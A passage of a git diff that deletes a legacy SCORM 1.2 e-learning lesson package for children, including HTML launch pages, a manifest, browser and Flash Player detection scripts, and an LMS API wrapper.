-</body>
-
-</html>
diff --git a/Explore/elr/English/L0004/html/fpi_upgrade_flash.html b/Explore/elr/English/L0004/html/fpi_upgrade_flash.html
deleted file mode 100755
index cddd4a3..0000000
--- a/Explore/elr/English/L0004/html/fpi_upgrade_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have required flash player installed on your machine. 
-                Please click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to upgrade flash player. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-327,-67,480,134" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/English/L0004/html/launch.html b/Explore/elr/English/L0004/html/launch.html
deleted file mode 100755
index 5972c48..0000000
--- a/Explore/elr/English/L0004/html/launch.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="90%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318" height="107" border="0" align="center" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                It is essential to keep this window open till the entire course 
-                runs.<br>Turn on your speakers and keep the volume high as you enter this course.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-181,-78,621,124" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-</html>
diff --git a/Explore/elr/English/L0004/html/os_browser_detection.html b/Explore/elr/English/L0004/html/os_browser_detection.html
deleted file mode 100755
index bae128e..0000000
--- a/Explore/elr/English/L0004/html/os_browser_detection.html
+++ /dev/null
@@ -1,12 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="../js/browser-detection.js"></script>
-<script>
- </script>
-</head>
-<body>
-</body>
-</html>
diff --git a/Explore/elr/English/L0004/html/os_not_compatible_page.html b/Explore/elr/English/L0004/html/os_not_compatible_page.html
deleted file mode 100755
index 9bd6543..0000000
--- a/Explore/elr/English/L0004/html/os_not_compatible_page.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                Your computer does not meet the minimum requirements for viewing 
-                this course. It is recommended that you take this course from 
-                any other computer. Please click <a href="http://www.macromedia.com/support/flash/releasenotes/player/rn_6.html#systemrequirements" target="_blank">here</a> 
-                to view System Requirements. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-214,-45,591,157" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/English/L0004/images/bg_03.jpg b/Explore/elr/English/L0004/images/bg_03.jpg
deleted file mode 100755
index 4c35c15..0000000
--- a/Explore/elr/English/L0004/images/bg_03.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0004/images/efk_logo.png b/Explore/elr/English/L0004/images/efk_logo.png
deleted file mode 100755
index b84ec18..0000000
--- a/Explore/elr/English/L0004/images/efk_logo.png
+++ /dev/null
diff --git a/Explore/elr/English/L0004/images/launch.gif b/Explore/elr/English/L0004/images/launch.gif
deleted file mode 100755
index da5e37e..0000000
--- a/Explore/elr/English/L0004/images/launch.gif
+++ /dev/null
diff --git a/Explore/elr/English/L0004/imsmanifest.xml b/Explore/elr/English/L0004/imsmanifest.xml
deleted file mode 100755
index 79eaa57..0000000
--- a/Explore/elr/English/L0004/imsmanifest.xml
+++ /dev/null
@@ -1,57 +0,0 @@
-<?xml version="1.0"?>
-<manifest identifier="MANIFEST_EFK" version="1.2"
-          xmlns="http://www.imsproject.org/xsd/imscp_rootv1p1p2" 
-          xmlns:adlcp="http://www.adlnet.org/xsd/adlcp_rootv1p2"
-         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-          xsi:schemaLocation="http://www.imsproject.org/xsd/imscp_rootv1p1p2 imscp_rootv1p1p2.xsd 
-                              http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd 
-                              http://www.adlnet.org/xsd/adlcp_rootv1p2 adlcp_rootv1p2.xsd">
-	<organizations default="MANIFESTD_ORG_0001">
-    	<organization identifier="MANIFESTD_ORG_0001">
-			<title>ELearning for kids: Language</title>
-			<item identifier="ITEM_EFK" identifierref="RESOURCE_EFK_00_00_00_00" isvisible="true">
-				<title>ELearning for kids: Language</title>
-			</item>
-		<metadata>
-			<schema>ADL SCORM</schema>
-			<schemaversion>1.2</schemaversion>
-			<adlcp:location>metadata.xml</adlcp:location>
-		</metadata>
-    	</organization>
-  	</organizations>
- 	<resources>
-		 <resource identifier="RESOURCE_EFK_00_00_00_00" type="webcontent" href="index.html" adlcp:scormtype="sco">
-	        <file href="index.html" />
-			<dependency identifierref="RESOURCE_EFK_00_00_00_00_r" /> 
-		</resource>
-        <resource identifier="RESOURCE_EFK_00_00_00_00_r" type="webcontent" href="efk_shell.swf" adlcp:scormtype="asset">			
-			
-			<file href="js/scorm_api.js" />
-			<file href="js/browser-detection.js" />
-			<file href="js/fpi-init.js" />
-			<file href="js/fpi-main.js" />
-			<file href="js/fpi-swap.js" />
-			<file href="js/fpi-writevb.js" />
-
-			<file href="course.xml" />		
-			<file href="efk_shell.swf" />
-			<file href="index.html" />
-			<file href="launch.html" />
-
-			<file href="html/fpi_blank.html" />
-			<file href="html/fpi_detection.html" />
-			<file href="html/fpi_flash.html" />
-			<file href="html/fpi_no_flash.html" />
-			<file href="html/fpi_upgrade_flash.html" />
-			<file href="html/launch.html" />
-			<file href="html/os_browser_detection.html" />
-			<file href="html/os_not_compatible_page.html" />
-
-			<file href="images/launch.gif" />
-			<file href="images/bg_03.jpg" />
-			<file href="images/efk_logo.png" />
-
-			
-		</resource>	
-	</resources>
-</manifest>
diff --git a/Explore/elr/English/L0004/index.html b/Explore/elr/English/L0004/index.html
deleted file mode 100755
index 6cd6a4c..0000000
--- a/Explore/elr/English/L0004/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="js/scorm_api.js"></script>
-<script>
-function fnpopup(){
-    var wo=window.open("../launch.html","efk_course",'top=0, left=0, scrollbars=0,resizable=0, fullScreen=yes, dependent=yes');
-	if (wo==null || typeof(wo)=="undefined") {
-		alert("We have noticed that you are using a pop-up blocker; to view this site correctly you will need to switch off any pop-up blocking software.");
-	} 
-	wo.focus();
- }
- </script>
-</head>
-<frameset rows="100,0" frameborder="Yes" border="0" framespacing="0" onload="initSco()" onUnLoad="finish()">
-  <frame src="html/os_browser_detection.html" name="mainFrame">
-  <frame src="html/fpi_blank.html" name="bottomFrame" scrolling="auto" noresize>
-</frameset>
-<noframes>
-</noframes>
-</html>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0004/js/browser-detection.js b/Explore/elr/English/L0004/js/browser-detection.js
deleted file mode 100755
index 54d8b3b..0000000
--- a/Explore/elr/English/L0004/js/browser-detection.js
+++ /dev/null
@@ -1,185 +0,0 @@
-// JavaScript Document v:1.3
-// Requires navigator 2.0, Internet Explorer 3.0
-
-// Browser ::
-//navigator.appVersion
-//navigator.appName
-//navigator.appCodeName(code name of browser)
-
-var agt, os, browser, version, place, thestring, osVer;
-var notCompatiblePage = "../html/os_not_compatible_page.html";
-var compatiblePage = "../html/launch.html";
-var flashDetectionPage = "../html/fpi_detection.html";
-
-// Browser Version Required for Windows
-var winIEVer = 4;
-var winNetscapeVer = 4;
-var winOperaVer = 6;
-var winAOLVer = 7;
-var winMozillaVer = 1;
-
-// Browser Version Required for Mac
-var macIEVer = 5;
-var macNetscapeVer = 4.7;
-var macOperaVer = 5;
-var macMozillaVer = 1;
-
-// Browser Version Required for Linux
-var linuxMozillaVer = 1.1;
-
-function getAgtInfo() {
-	agt = navigator.userAgent.toLowerCase();
-	if (checkIt('konqueror')) {
-		browser = "Konqueror";
-		os = "Linux";
-		osVer = "na";
-	} else if (checkIt('safari')) {
-		browser = "Safari";
-	} else if (checkIt('aol')) {
-		browser = "AOL";
-	} else if (checkIt('opera')) {
-		browser = "Opera";
-		if (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1) {
-			version = 2;
-		} else if (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1) {
-			version = 3;
-		} else if (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1) {
-			version = 4;
-		} else if (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1) {
-			version = 5;
-		} else if (agt.indexOf("opera 6") != -1 || agt.indexOf("opera/6") != -1) {
-			version = 6;
-		} else if (agt.indexOf("opera 7") != -1 || agt.indexOf("opera/7") != -1) {
-			version = 7;
-		} else {
-			version = 0;
-		}
-	} else if (checkIt('msie')) {
-		browser = "IE";
-	} else if (!checkIt('compatible')) {
-		browser = "Netscape";
-		//alert(navigator.appVersion.substr(0, 3));
-		//version = agt.charAt(8);
-		version = navigator.appVersion.substr(0, 3);
-		if(Number(version) == NaN || Number(version) == "NaN") {
-			version = agt.charAt(8);
-		}
-	} else if ((agt.indexOf("mozilla")) != -1 && browser == undefined) {
-		browser = "Mozilla";
-	} else {
-		browser = "unknown browser";
-	}
-	if (!version) {
-		version = agt.charAt(place+thestring.length);
-	}
-	if (!os) {
-		if (checkIt('linux')) {
-			os = "Linux";
-			osVer = "na";
-		} else if (checkIt('x11')) {
-			os = "Unix";
-			osVer = "na";
-		} else if (checkIt('mac')) {
-			os = "Mac";
-			if((((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1)))){
-				osVer = "mac 68k"
-			} else if((((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1)))) {
-				osVer = "mac powerpc"
-			}
-		} else if (checkIt('win')) {
-			os = "Win";
-			if((((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)))){
-				osVer = "Win 98"
-			} else if((((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)))) {
-				osVer = "Win 95"
-			} else if((((agt.indexOf("win 9x 4.90")!=-1)))) {
-				osVer = "Win ME"
-			} else if((((agt.indexOf("windows nt 5.0")!=-1) || (agt.indexOf("windows 2000")!=-1)))) {
-				osVer = "Win 2k"
-			} else if((((agt.indexOf("windows nt 5.1")!=-1) || (agt.indexOf("windows xp")!=-1)))) {
-				osVer = "Win XP"
-			} else if((((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)))) {
-				osVer = "Win NT"
-			}
-		} else {
-			os = "unknown operating system";
-		}
-	}
-	checkCompatibility();
-}
-function checkIt(string) {
-	place = agt.indexOf(string)+1;
-	thestring = string;
-	return place;
-}
-function checkCompatibility() {
-	//alert("agt: "+agt+" Your OS is: "+os+" & browser is: "+browser+" & version: "+Number(version));
-	//alert(navigator.appCodeName);
-	if(os != "unknown operating system") {
-		if (os == "Win") {		 
-			if (osVer == "Win 95" || osVer == "Win 98" || osVer == "Win ME" || osVer == "Win NT" || osVer == "Win 2k" || osVer == "Win XP") {
-				if (browser == "IE" && (Number(version) >= winIEVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);					
-				} else if (browser == "Netscape" && (Number(version) >= winNetscapeVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Opera" && (Number(version) >= winOperaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "AOL" && (Number(version) >= winAOLVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Mozilla" && (Number(version) >= winMozillaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else {
-					window.location.replace(notCompatiblePage);
-					//window.location = compatiblePage;
-				}	
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = notCompatiblePage;
-			}
-		} else if (os == "Mac") {
-			//alert("browser: "+browser+" & macIEVer: "+macIEVer+" & macNetscapeVer: "+macNetscapeVer+" & navigator.appVersion: "+navigator.appVersion);
-			if (browser == "IE" && (Number(version) >= macIEVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Netscape" && (Number(version) >= macNetscapeVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Opera" && (Number(version) >= macOperaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "AOL") {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Mozilla" && (Number(version) >= macMozillaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else if (os == "Linux") {
-			if(browser == "Konqueror") {
-				//window.location.replace(compatiblePage);
-				window.location.replace(notCompatiblePage);
-			} else if (Number(version) >= linuxMozillaVer) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else {
-			window.location.replace(notCompatiblePage);
-			//window.location = compatiblePage;
-		}
-	} else {
-		window.location.replace(notCompatiblePage);
-		//window.location = notCompatiblePage;
-	}
-}
-getAgtInfo();
diff --git a/Explore/elr/English/L0004/js/fpi-init.js b/Explore/elr/English/L0004/js/fpi-init.js
deleted file mode 100755
index ecd135e..0000000
--- a/Explore/elr/English/L0004/js/fpi-init.js
+++ /dev/null
@@ -1,46 +0,0 @@
-// moock fpi [f.lash p.layer i.nspector]
-// version: 1.3.7
-// written by colin moock
-// code maintained at: http://www.moock.org/webdesign/flash/detection/moockfpi/
-// terms of use posted at: http://www.moock.org/terms/
-
-
-
-// =============================================================================
-// These are the user defined globals.
-// Modify the following variables to customize the inspection behaviour.
-
-var requiredVersion = 7;   // Version the user needs to view site (max 9, min 2)
-var useRedirect = true;    // Flag indicating whether or not to load a separate
-                           // page based on detection results. Set to true to
-                           // load a separate page. Set to false to embed the
-                           // movie or alternate html directly into this page.
-                           
-// Only set next three vars if useRedirect is true...
-var flashPage   = "../html/fpi_flash.html"    // The location of the flash movie page
-var noFlashPage = "../html/fpi_no_flash.html"  // Page displayed if the user doesn't have the
-                                  // plugin or we can't detect it.
-var upgradePage = "../html/fpi_upgrade_flash.html"  // Page displayed if we detect an old plugin
-var blankPage = "../html/fpi_blank.html"
-// =============================================================================
-
-
-
-// *************
-// Everything below this point is internal until after the BODY tag.
-// Do not modify! Proceed to the BODY tag for further instructions.
-// *************
-
-// System globals
-var flash2Installed = false;    // boolean. true if flash 2 is installed
-var flash3Installed = false;    // boolean. true if flash 3 is installed
-var flash4Installed = false;    // boolean. true if flash 4 is installed
-var flash5Installed = false;    // boolean. true if flash 5 is installed
-var flash6Installed = false;    // boolean. true if flash 6 is installed
-var flash7Installed = false;    // boolean. true if flash 7 is installed
-var flash8Installed = false;    // boolean. true if flash 8 is installed
-var flash9Installed = false;    // boolean. true if flash 9 is installed
-var maxVersion = 9;             // highest version we can actually detect
-var actualVersion = 0;          // version the user really has
-var hasRightVersion = false;    // boolean. true if it's safe to embed the flash movie in the page
-var jsVersion = 1.0;            // the version of javascript supported
-\ No newline at end of file
diff --git a/Explore/elr/English/L0004/js/fpi-main.js b/Explore/elr/English/L0004/js/fpi-main.js
deleted file mode 100755
index 2926268..0000000
--- a/Explore/elr/English/L0004/js/fpi-main.js
+++ /dev/null
@@ -1,101 +0,0 @@
-// Next comes the standard javascript detection that uses the 
-// navigator.plugins array. We pack the detector into a function so that 
-// it preloads before being run.
-
-function detectFlash() {  
-  // If navigator.plugins exists...
-  if (navigator.plugins) {
-    // ...then check for flash 2 or flash 3+.
-    if (navigator.plugins["Shockwave Flash 2.0"]
-        || navigator.plugins["Shockwave Flash"]) {
-
-      // Some version of Flash was found. Time to figure out which.
-      
-      // Set convenient references to flash 2 and the plugin description.
-      var isVersion2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
-      var flashDescription = navigator.plugins["Shockwave Flash" + isVersion2].description;
-
-      // DEBUGGING: uncomment next line to see the actual description.
-      // alert("Flash plugin description: " + flashDescription);
-      
-      // A flash plugin-description looks like this: Shockwave Flash 4.0 r5
-      // We can get the major version by grabbing the character before the period
-      // note that we don't bother with minor version detection. 
-      // Do that in your movie with $version or getVersion().
-      var flashVersion = parseInt(flashDescription.substring(16));
-
-      // We found the version, now set appropriate version flags. Make sure
-      // to use >= on the highest version so we don't prevent future version
-      // users from entering the site.
-      flash2Installed = flashVersion == 2;    
-      flash3Installed = flashVersion == 3;
-      flash4Installed = flashVersion == 4;
-      flash5Installed = flashVersion == 5;
-      flash6Installed = flashVersion == 6;
-      flash7Installed = flashVersion == 7;
-      flash8Installed = flashVersion == 8;
-      flash9Installed = flashVersion >= 9;
-    }
-  }
-  
-  // Loop through all versions we're checking, and
-  // set actualVersion to highest detected version.
-  for (var i = 2; i <= maxVersion; i++) {  
-    if (eval("flash" + i + "Installed") == true) actualVersion = i;
-  }
-  
-  // If we're on msntv (formerly webtv), the version supported is 4 (as of
-  // January 1, 2004). Note that we don't bother sniffing varieties
-  // of msntv. You could if you were sadistic...
-  if(navigator.userAgent.indexOf("WebTV") != -1) actualVersion = 4;  
-  
-  // DEBUGGING: uncomment next line to display flash version
-  // alert("version detected: " + actualVersion);
-
-
-  // We're finished getting the version on all browsers that support detection.
-  // Time to take the appropriate action.
-
-  // If the user has a new enough version...
-  if (actualVersion >= requiredVersion) {
-    // ...then we'll redirect them to the flash page, unless we've
-    // been told not to redirect.
-    if (useRedirect) {
-      // Need javascript1.1 to do location.replace
-      if(jsVersion > 1.0) {
-        // It's safe to use replace(). Good...we won't break the back button.
-        window.location.replace(flashPage);  
-      } else {
-        // JavaScript version is too old, so use .location to load
-        // the flash page.
-        window.location = flashPage;
-      }
-    }
-    
-    // If we got here, we didn't redirect. So we make a note that we should
-    // write out the object/embed tags later.
-    hasRightVersion = true;                
-  } else {  
-    // The user doesn't have a new enough version.
-    // If the redirection option is on, load the appropriate alternate page.
-    if (useRedirect) {
-		//if (confirm("This course requires Macromedia Flash Player 6.\nIt seems like you don't have required flash player installed on your machine.\nWould you like to install Flash Player now?")){
-			//window.open("http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash");
-		//} else {
-			//alert("else part");
-		//}
-      // Do the same .replace() call only if js1.1+ is available.
-      if(jsVersion > 1.0) {
-        //window.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-		 window.location.replace(blankPage);
-		parent.mainFrame.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-      } else {
-        //window.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-		 window.location = blankPage;
-		parent.mainFrame.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-      }	 	  
-    }
-  }
-}
-
-detectFlash();  // call our detector now that it's safely loaded. 
-\ No newline at end of file
diff --git a/Explore/elr/English/L0004/js/fpi-swap.js b/Explore/elr/English/L0004/js/fpi-swap.js
deleted file mode 100755
index c08f889..0000000
--- a/Explore/elr/English/L0004/js/fpi-swap.js
+++ /dev/null
@@ -1,33 +0,0 @@
-// In this section we set up the content to be placed dynamically on the page.
-// Customize movie tags and alternate html content below.
-
-if (!useRedirect) {    // if dynamic embedding is turned on
-  if(hasRightVersion) {  // if we've detected an acceptable version
-    var oeTags = '<OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'CODEBASE="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
-    + '<PARAM NAME="MOVIE" VALUE="movie.swf">'
-    + '<PARAM NAME="PLAY" VALUE="true">'
-    + '<PARAM NAME="LOOP" VALUE="false">'
-    + '<PARAM NAME="QUALITY" VALUE="high">'
-    + '<PARAM NAME="MENU" VALUE="false">'
-    + '<EMBED SRC="movie.swf"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'PLAY="true"'
-    + 'LOOP="false"'
-    + 'QUALITY="high"'
-    + 'MENU="false"'
-    + 'TYPE="application/x-shockwave-flash"'
-    + 'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">'
-    + '<\/EMBED>'
-    + '<\/OBJECT>';
-
-    document.write(oeTags);   // embed the flash movie
-  } else {  // flash is too old or we can't detect the plugin
-    // NOTE: height, width are required!
-    var alternateContent = '<IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">' 
-      + '<BR>any desired alternate html code goes here';
-
-    document.write(alternateContent);  // insert non-flash content
-  }
-}
-\ No newline at end of file
diff --git a/Explore/elr/English/L0004/js/fpi-writevb.js b/Explore/elr/English/L0004/js/fpi-writevb.js
deleted file mode 100755
index 2bdd8b3..0000000
--- a/Explore/elr/English/L0004/js/fpi-writevb.js
+++ /dev/null
@@ -1,23 +0,0 @@
-// Check the browser...we're looking for ie/win, but not aol
-var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;    // true if we're on ie
-var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; // true if we're on windows
-
-
-// This is a js1.1 code block, so make note that js1.1 is supported.
-jsVersion = 1.1;
-
-// Write vbscript detection on ie win. IE on Windows doesn't support regular
-// JavaScript plugins array detection.
-if(isIE && isWin){
-  document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n');
-  document.write('on error resume next \n');
-  document.write('flash2Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.2"))) \n');
-  document.write('flash3Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.3"))) \n');
-  document.write('flash4Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.4"))) \n');
-  document.write('flash5Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.5"))) \n');  
-  document.write('flash6Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.6"))) \n');  
-  document.write('flash7Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.7"))) \n');
-  document.write('flash8Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.8"))) \n');
-  document.write('flash9Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.9"))) \n');
-  document.write('<\/SCR' + 'IPT\> \n'); // break up end tag so it doesn't end our script
-}
diff --git a/Explore/elr/English/L0004/js/scorm_api.js b/Explore/elr/English/L0004/js/scorm_api.js
deleted file mode 100755
index 7d4e2ba..0000000
--- a/Explore/elr/English/L0004/js/scorm_api.js
+++ /dev/null
@@ -1,276 +0,0 @@
-var findAPITries=1;
-var API = null;
-var	timerID = null
-var	timerRunning = false
-var	startDate
-var	startSecs
-var timeValue
-var lessonStatus=false;
-var Bookmark_location="undefined";
-var SetMasteryScore=80;
-var LMSStatus;
-//-----------------------------------------------------------------------
-function FindAPI(win)
-{
-   while ((win.API == null) && (win.parent != null) && (win.parent != win))
-   {
-      findAPITries++;
-      // Note: 7 is an arbitrary number, but should be more than sufficient
-      if (findAPITries > 7) 
-      {
-        parent.status = "Error finding API -- too deeply nested.";
-         return null;
-      }
-      
-      win = win.parent;
-
-   }
-   return win.API;
-}
-//-----------------------------------------------------------------------
-function GetAPI()
-{
-
-   var API = FindAPI(window);
-   if ((API == null) && (window.opener != null) && (typeof(window.opener) != "undefined"))
-   {
-      API = FindAPI(window.opener);
-   }
-   if (API == null)
-   {
-     parent.status = "Unable to find an API adapter";
-   }
-
-   return API
-}
-//-----------------------------------------------------------------------
-function initSco()
-
-{
-		API = GetAPI();
-		if( API != null )
-		{
-			var ret;
-			var code;
-			var diag;
-			API.LMSInitialize("");
-			startclock();
-			
-			set_val("cmi.core.score.max",100);
-			set_val("cmi.core.score.min",0);
-
-			var status = get_val("cmi.core.lesson_status")
-			if (status == "not attempted")
-			{
-			  // the student is now attempting the lesson
-			  set_val("cmi.core.lesson_status","incomplete");
-			}
-				
-			tempPage=get_val("cmi.core.lesson_location")
-			//alert("tempPage "+tempPage);
-			//alert("lesson_status "+get_val("cmi.core.lesson_status"));
-			var tmp = tempPage.split("^");			
-			//if(tempPage != ""){
-			if(Number(tmp[0])>=0){
-			//alert("tempPage "+tempPage)
-			//tempPage=Number(tempPage)
-				Bookmark_location=tempPage;			
-			}
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );	
-		}
-	
-}
-function set_val( gname,gvalue )
-{
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret;
-		var code;
-		var diag;		
-
-		API.LMSSetValue( gname, gvalue );		
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function get_val( gname )
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-	
-	var ret1,ret2;
-		var code;
-		var diag;
-				
-		ret1 = API.LMSGetValue( gname );		
-		code = API.LMSGetLastError();
-		ret2 = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );
-	//alert ("inside "+gname+ " "+ret1)
-	return ret1;		
-		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function commit()
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret = "";
-		var code;
-		var diag;
-		
-		API.LMSCommit("");
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function finish()
-{
-//if(callUnload == true){	
-	//alert(lessonStatus);
-		API = GetAPI();
-			
-		if( API != null )
-		{
-		
-			var ret;
-			var code;
-			var diag;
-			
-			//alert("parent.next "+parent.nextCount)
-			//alert("Bookmark_location in finish: "+Bookmark_location);
-			set_val("cmi.core.lesson_location",Bookmark_location);
-			//alert(get_val("cmi.core.lesson_location"))
-			sTime=stopclock();
-			sTime=String(sTime)
-			set_val("cmi.core.session_time",sTime);
-			//if(lessonStatus){
-				
-			 //set_val("cmi.core.lesson_status","completed");
-			//}
-			commit();
-			ret = API.LMSFinish("");
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );
-
-		}
-//	}
-	
-};
-
-function stopclock()
-{
-
-	if(timerRunning){
-		clearTimeout(timerID)
-		timerRunning = false
-		return timeValue
-}
-}
-//-----------------------------------------------------------------------
-function startclock()
-{
-
-	startDate = new Date()
-	startSecs = (startDate.getHours()*60*60) + (startDate.getMinutes()*60) 
-						+ startDate.getSeconds()
-
-	stopclock()
-		showtime()
-	
-}
